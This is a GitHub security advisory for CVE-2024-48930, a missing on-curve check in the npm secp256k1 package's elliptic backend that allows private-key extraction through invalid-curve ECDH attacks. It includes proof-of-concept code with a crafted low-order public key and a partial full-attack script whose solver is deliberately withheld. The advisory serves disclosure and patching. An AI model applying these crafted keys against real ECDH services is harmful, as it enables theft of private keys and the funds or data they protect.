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secp256k1-node allows private key extraction over ECDH

High severity GitHub Reviewed Published Oct 21, 2024 in cryptocoinjs/secp256k1-node • Updated Oct 21, 2024

Package

npm secp256k1 (npm)

Affected versions

= 5.0.0
>= 4.0.0, < 4.0.4
<= 3.8.0

Patched versions

5.0.1
4.0.4
3.8.1

Description

Summary

In elliptic-based version, loadUncompressedPublicKey has a check that the public key is on the curve: https://github.com/cryptocoinjs/secp256k1-node/blob/6d3474b81d073cc9c8cc8cfadb580c84f8df5248/lib/elliptic.js#L37-L39

loadCompressedPublicKey is, however, missing that check: https://github.com/cryptocoinjs/secp256k1-node/blob/6d3474b81d073cc9c8cc8cfadb580c84f8df5248/lib/elliptic.js#L17-L19

That allows the attacker to use public keys on low-cardinality curves to extract enough information to fully restore the private key from as little as 11 ECDH sessions, and very cheaply on compute power

Other operations on public keys are also affected, including e.g. publicKeyVerify() incorrectly returning true on those invalid keys, and e.g. publicKeyTweakMul() also returning predictable outcomes allowing to restore the tweak

Details

The curve equation is Y^2 = X^3 + 7, and it restores Y from X in loadCompressedPublicKey, using Y = sqrt(X^3 + 7), but when there are no valid Y values satisfying Y^2 = X^3 + 7 for a given X, the same code calculates a solution for -Y^2 = X^3 + 7, and that solution also satisfies some other equation Y^2 = X^3 + D, where D is not equal to 7 and might be on a curve with factorizable cardinality, so (X,Y) might be a low-order point on that curve, lowering the number of possible ECDH output values to bruteforcable

Those output values correspond to remainders which can be then combined with Chinese remainder theorem to restore the original value

Endomorphism-based multiplication only slightly hinders restoration and does not affect the fact that the result is low-order

10 different malicious X values could be chosen so that the overall extracted information is 238.4 bits out of 256 bit private key, and the rest is trivially bruteforcable with an additional 11th public key (which might be valid or not -- not significant)

The attacker does not need to receive the ECDH value, they only need to be able to confirm it against a list of possible candidates, e.g. check if using it to decipher block/stream cipher would work -- and that could all be done locally on the attacker side

PoC

Example public key

This key has order 39
One of the possible outcomes for it is a throw, 38 are predictable ECDH values
Keys used in full attack have higher order (starting from ~20000), so are very unlikely to cause an error

import secp256k1 from 'secp256k1/elliptic.js'
import { randomBytes } from 'crypto'

const pub = Buffer.from('028ac57f9c6399282773c116ef21f7394890b6140aa6f25c181e9a91e2a9e3da45', 'hex')

const seen = new Set()
for (let i = 0; i < 1000; i++) {
  try {
    seen.add(Buffer.from(secp256k1.ecdh(pub, randomBytes(32))).toString('hex'))
  } catch {
    seen.add('failure also is an outcome')
  }
}

console.log(seen.size) // 39

Full attack

This PoC doesn't list the exact public keys or the code for solver.js intentionally, but this exact code works, on arbitrary random private keys:

// Only the elliptic version is affected, gyp one isn't
// Node.js can use both, Web/RN/bundles always use the elliptic version
import secp256k1 from 'secp256k1/elliptic.js'

import { randomBytes } from 'node:crypto'
import assert from 'node:assert/strict'
import { Solver } from './solver.js'

const privateKey = randomBytes(32)

// The full dataset is precomputed on a single MacBook Air in a few days and can be reused for any private key
const solver = new Solver

// We need to run on 10 specially crafted public keys for this
// Lower than 10 is possible but requires more compute
for (let i = 0; i < 10; i++) {
  const letMeIn = solver.ping() // this is a normal 33-byte Uint8Array, a 02/03-prefixed compressed public key
  assert(letMeIn instanceof Uint8Array) // true
  assert(secp256k1.publicKeyVerify(letMeIn)) // true

  // Returning ecdh value is not necessary but is used in this demo for simplicity
  // Solver needs to _confirm_ an ecdh value against a set of precalculated known ones,
  // which can be done even after it's hashed or used e.g. for a stream/block cipher, based on the encrypted data
  solver.callback(secp256k1.ecdh(letMeIn, privateKey))

  // Btw we have those precomputed so we can actually use those sessions to lower suspicion, most -- instantly
}

// Now, we need a single valid (or another invalid) public key to recheck things against
// It can be anything, e.g. we can specify an 11th one, or create a valid one and use it
// We'll be able to confirm/restore and use the ecdh value for this session too upon privateKey extraction
const anyPublicKey = secp256k1.publicKeyCreate(randomBytes(32))
assert(secp256k1.publicKeyVerify(anyPublicKey)) // true (obviously)

// Full complexity of this exploit requires solver to perform ~ 2^35 ecdh value checks (for all 10 keys combined),
// which is ~ 1 TiB -- that can be done offline and does not require any further interaction with the target
// The exact speed of the comparison step depends on how the ecdh values are used, but is not very significant
// Direct non-indexed linear scan over all possible (precomputed) values takes <10 minutes on a MacBook Air
// Confirming against e.g. cipher output would be somewhat slower, but still definitely possible + also could be precomputed
const extracted = solver.stab(anyPublicKey, secp256k1.ecdh(anyPublicKey, privateKey))

console.log(`Extracted private key:  ${extracted.toString('hex')}`)
console.log(`Actual private key was: ${privateKey.toString('hex')}`)

assert(extracted.toString('hex') === privateKey.toString('hex'))

console.log('Oops')

Result:

Extracted private key:  e3370b1e6726a6ceaa51a2aacf419e25244e0cde08596780da021b238b74df3d
Actual private key was: e3370b1e6726a6ceaa51a2aacf419e25244e0cde08596780da021b238b74df3d
Oops
node example.js  178.80s user 13.59s system 74% cpu 4:17.01 total

Impact

Remote private key is extracted over 11 ECDH sessions

The attack is very low-cost, precompute took a few days on a single MacBook Air, and extraction takes ~10 minutes on the same MacBook Air

Also:

  • publicKeyVerify() misreports malicious public keys as valid
  • Same affects tweak extraction from publicKeyTweakMul result and other public key operations

References

@fanatid fanatid published to cryptocoinjs/secp256k1-node Oct 21, 2024
Published by the National Vulnerability Database Oct 21, 2024
Published to the GitHub Advisory Database Oct 21, 2024
Reviewed Oct 21, 2024
Last updated Oct 21, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS score

0.044%
(11th percentile)

CVE ID

CVE-2024-48930

GHSA ID

GHSA-584q-6j8j-r5pm

Credits

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